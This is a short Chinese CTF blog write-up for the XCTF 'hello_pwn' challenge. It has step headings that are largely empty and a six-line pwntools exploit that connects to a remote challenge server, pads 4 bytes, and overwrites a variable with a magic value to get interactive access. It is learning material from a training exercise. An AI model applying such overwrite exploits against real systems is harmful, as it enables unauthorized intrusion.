avatar

Pwn弟弟的成长日记(五)--攻防世界hello_pwn

解题思路

  1. 查看文件信息,安全机制
  2. 代码审计
  3. 分析漏洞点
  4. 编写EXP

查看文件信息,安全机制

#### **代码审计** #### **分析漏洞点** 计算偏移量覆盖就ok #### **编写exp**
1
2
3
4
5
6
from pwn import *
#p=process("./gf3")
p=remote("111.198.29.45","45981")
payload="a"*0x4+p64(1853186401)
p.sendline(payload)
p.interactive()
文章作者: Sunset
文章链接: https://pwnedyu.cn/2020/04/05/Pwn%E5%BC%9F%E5%BC%9F%E7%9A%84%E6%88%90%E9%95%BF%E6%97%A5%E8%AE%B0%EF%BC%88%E4%BA%94%EF%BC%89--%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Chello_pwn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sunset's blog
打赏
  • 微信
    微信
  • 支付寶
    支付寶